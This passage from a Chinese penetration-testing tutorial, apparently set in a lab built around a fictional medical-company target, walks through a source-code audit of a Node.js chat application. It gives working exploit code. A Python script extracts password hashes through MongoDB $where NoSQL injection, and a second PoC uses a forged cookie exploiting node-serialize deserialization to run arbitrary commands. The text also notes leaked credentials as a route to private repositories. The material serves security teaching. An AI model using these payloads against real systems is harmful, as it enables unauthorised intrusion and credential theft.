# 代码审计自定义应用

## **代码审计自定义应用**

在上一篇，我们从黑盒角度讨论了如何利用常见Web漏洞突破边界。白盒测试要比黑盒测试高效的多，有的漏洞甚至可能永远无法被发现除非人们看到源代码。企业独自开发的 web 应用 (公司产品、主站点等) 通常不是开源的， 一般情况下我们是无法访问到源代码的，那怎么才能审计代码？实际上，在一些情况下，我们是有机会得到源代码进行代码审计的，例如：

1：源代码文件source.tar.gz被放在web目录下。这是由于开发者不小心所导致的，但这种情况并非不可能遇到。源代码也可能存在于 FTP、SMB 服务器上，并且这些服务并且不需要认证的话...幸运的是，我们之前在 FTP 服务器中发现了 chat.js 应用的源代码。

2：目标对一开源app进行了一定的修改，为自己所用。虽然魔改程度有高有低，但原 app 存在的漏洞不一定被修复了。举个例子，在线学习系统 ATutor ([https://atutor.github.io/](https://atutor.github.io/))，作为开源应用，在互联网上广泛运行。更糟糕的是，该应用的漏洞不是一般的多。

3：目标公司发生过源代码泄漏事件。

4：在信息搜集阶段，我们从泄漏库中找到了一些凭证，其中一个或多个凭证可以访问目标公司的 github 私人仓库，访问到源代码。我们之前在 FTP 服务器中找到了一组凭证，虽然并没有在仓库中发现其他应用的源码。

代码审计，通常通过手动追踪用户输入、敏感函数来进行。但也有一些自动代码审计的工具例如 Fotify ([https://www.microfocus.com/en-us/cyberres/application-security)](https://www.microfocus.com/en-us/cyberres/application-security)) 协助我们寻找浅层的脆弱代码。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/isMimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/isMimage.png)

我们发现 Raven-Medicine.Org 域的 3000 端口运行着一款 NodeJS 的应用，Chat.JS。是不是有些熟悉？因为我们之前在 FTP 服务器中找到了疑似 Chat.js 的源代码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/SFiPQIXMGAM0c3sv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/SFiPQIXMGAM0c3sv-image.png)

在有的时候，泄漏得到的源代码不一定是正在被应用的版本，但无论如何，让我们试着分析该应用。代码审计，虽然字面上是审计代码，但并不意味着只盯着代码就行，我们也需要与 Web 应用进行交互、浏览、测试，Debugger 也会很有作用。

该应用暂时不支持游客注册。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/RSmkQkKH0t6QWkMA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/RSmkQkKH0t6QWkMA-image.png)

有关注册部分的代码如下，我们发现后端数据库是 MongoDB。

```javascript
app.post('/register', function(req, res) {
    console.log('[*] ' + req.ip + ' > POST /register');
    if (req.session.logged_in == true) {
        res.redirect('/');
    } else {
        var username = req.body.username;
        var password = req.body.password;
        if (username && password) {
            MongoClient.connect(db_url, { useNewUrlParser:true, useUnifiedTopology:true }, function(err, db) {
                if (err) {
                    throw err;
                }
                var usercount=0
                var dbo = db.db("chatjs");
                var query = {$where: `this.username == '${username}'`};
                dbo.collection("users").findOne(query, function(err, result) {
                    if (err) {
                        throw err;
                    }
                    if (result == null) {
                         res.render('pages/register', {session: req.session, error:"Sorry, the registration is not open now"});
                         

                    } else {
                        res.render('pages/register', {session: req.session, error:"User already exists"});
                    }
                });
            });
        }
    }
});
```

我们看到，如果注册的时候，提交了一个已经存在的账户，会显示 “User already exists”。我们看这 2 行代码：

```javascript
var query = {$where: `this.username == '${username}'`};
dbo.collection("users").findOne(query, function(err, result) {
............
```

查询根据用户提供的输入中的 **this.username** 字段来与数据库中的数据做比较，而 this.username 并没有执行任何用户输入的过滤。因此，如果我们构造一个特定的用户名，那么可以实现 NoSQL 注入。

在 SQL 注入中，经典的万能钥匙载荷是 username='admin' or 1=1。类比到该应用的语境下，我们可以构造这么一个PoC:

username 为 **alice' &amp;&amp; '1'=='1**

password 任意

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/aJ8ZfvLdemQQjqFp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/aJ8ZfvLdemQQjqFp-image.png)

因为用户 alice 是存在的，只要后面的判断逻辑也是 True，那么最终结果也是 True。我们可以根据 "User already exists" 来判断最终语句的 True/False 值，从而间接地提取数据，比如可以是 **alice' &amp;&amp; this.password.substring(0,1).charCodeAt(0)&gt;'75**。我们通过逐一缩小 password 字段每个字符的区间从而得到最终准确的值，虽然密码是被 **sha256** 哈希过的。sha256 哈希后的结果只包含 a-f 这6字母以及 10 数字，对应的 ASCII 范围为 **48-57**，以及 **97-102**，大大缩小了我们需要比对的字符空间，即不需要考虑所有大写字母、剩余 20 个小写字母，以及任何特殊字符。

我们可以写出如下脚本：

```python
import requests
import sys


charset=['48','49','50','51','52','53','54','55','56','57','97','98','99','100','101','102']

if len(sys.argv)!=3:
	print("Usage: python3 chatjs.py http://raven-medicine.org:3000 alice")

ip=sys.argv[1]
username=sys.argv[2]
passhash=""

for index in range(64):
	for char in charset:
		payload={'username':username+"'&&this.password.substring("+str(index)+","+str(index+1)+").charCodeAt(0)=='"+str(char),'password':'123'}
		#print(payload)
		r=requests.post(ip+"/register",data=payload,allow_redirects=False)
		if "User already exists" in r.text:
			print("Trus statement! The value of this position is: "+str(chr(int(char))))
			passhash=passhash+str(chr(int(char)))
			pass
			
print(passhash)
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/jYcJI65QhRwZ7bzN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/jYcJI65QhRwZ7bzN-image.png)

得到的哈希值是 **b54f08623ae4039f55bcecba4961037fb4513d2ba9cb2b0667c5db970ac94911**，明文为 **elizabeth**。

我们可以利用该凭证进行登录，之后，我们便重点关注在认证后可访问的功能。我们看到，有关序列化与反序列化的包在该应用被导入：

```javascript
// Necessary packages for drafts
var cookieParser = require('cookie-parser');
var serialize = require('node-serialize');
```

如果用户已经登录了，并且存在名为 **draft** 的 Cookie，那么该 cookie 值会被反序列化

```javascript
            var draft = null;
            if (req.session.logged_in && req.cookies.draft) {
                draft = serialize.unserialize(new Buffer(req.cookies.draft, 'base64').toString()).msg;
            }
            res.render('pages/index', {messages: result, session: req.session, draft:draft});
```

结合 /post 终端的代码来看，draft 可能是指用户尚未发送的消息的相关信息。

```javascript
app.post('/send', function(req, res) {
    console.log('[*] ' + req.ip + ' > POST /send');
    if (req.session.logged_in == true && req.body.message) {
        var post = req.body.post;
        var save = req.body.save;
        if (post != null) {
            res.cookie('draft','',{expires:new Date()});
            console.log('    -- Post');
            MongoClient.connect(db_url, { useNewUrlParser:true, useUnifiedTopology:true }, function(err, db) {
                if (err) {
                    throw err;
                }
                var dbo = db.db("chatjs");
                dbo.collection('messages').insertOne({
                    author:req.session.user_id,
                    datetime:new Date(),
                    text:req.body.message
                }, function() {
                    db.close();
                });
            });
        } else if (save != null) {
            console.log('    -- Save');
            var cookie_val = Buffer.from(serialize.serialize({'msg':req.body.message})).toString('base64');
            res.cookie('draft',cookie_val,{maxAge:900000,httpOnly:true});
        }
    }
    res.redirect('/');
});
```

我们并没有看到任何对于 draft 的过滤，如果我们伪造一个恶意 Cookie，该 Cookie 会在我们访问 / 终端的时候被反序列化，从而触发载荷。我们利用 nodejs 来测试可用的载荷：

```javascript
var serialize = require('node-serialize');
var test = {"msg":"_$$ND_FUNC$$_function(){ require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```

在 nodejs 命令行中：

```shell
> var y = {
...  msg : function(){
.....  require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) });
.....  },
... }
undefined
> var serialize = require('node-serialize');
undefined
> console.log("Serialized: \n" + serialize.serialize(y));
Serialized: 
{"msg":"_$$ND_FUNC$$_function(){\n require('child_process').exec('whoami', function(error, stdout, stderr) { console.log(stdout) });\n }"}
undefined
> 
```

一个任意代码执行的 Python PoC 脚本：

```python
import requests
import sys
import base64

if len(sys.argv)!=5:
	print("Usage: python3 chatjs.py http://raven-medicine.org:3000 whoami")


ip=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
command=sys.argv[4]


payload = b'{"msg":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'%s\', function(error, stdout, stderr) { console.log(stdout) });}()"}'%(command.encode('utf-8'))


draft = base64.b64encode(payload).decode('utf-8')
c = {'draft':draft}
print("(+) Generated cookie!")


s=requests.Session()
headers={'Content-type':'application/x-www-form-urlencoded'}
data="username="+username+"&password="+password
r=s.post(ip+'/auth',headers=headers,data=data,allow_redirects=False)
r=s.get(ip+'/',cookies=c)
if "Logged in as" in r.text:
	print("Authenticated!")
```

我们看到，命令是成功被执行了，虽然在我们这一侧无法直接获得输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/D5J2mSxW4p9MgYPZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/D5J2mSxW4p9MgYPZ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/vJnHrxPth943u1hd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/vJnHrxPth943u1hd-image.png)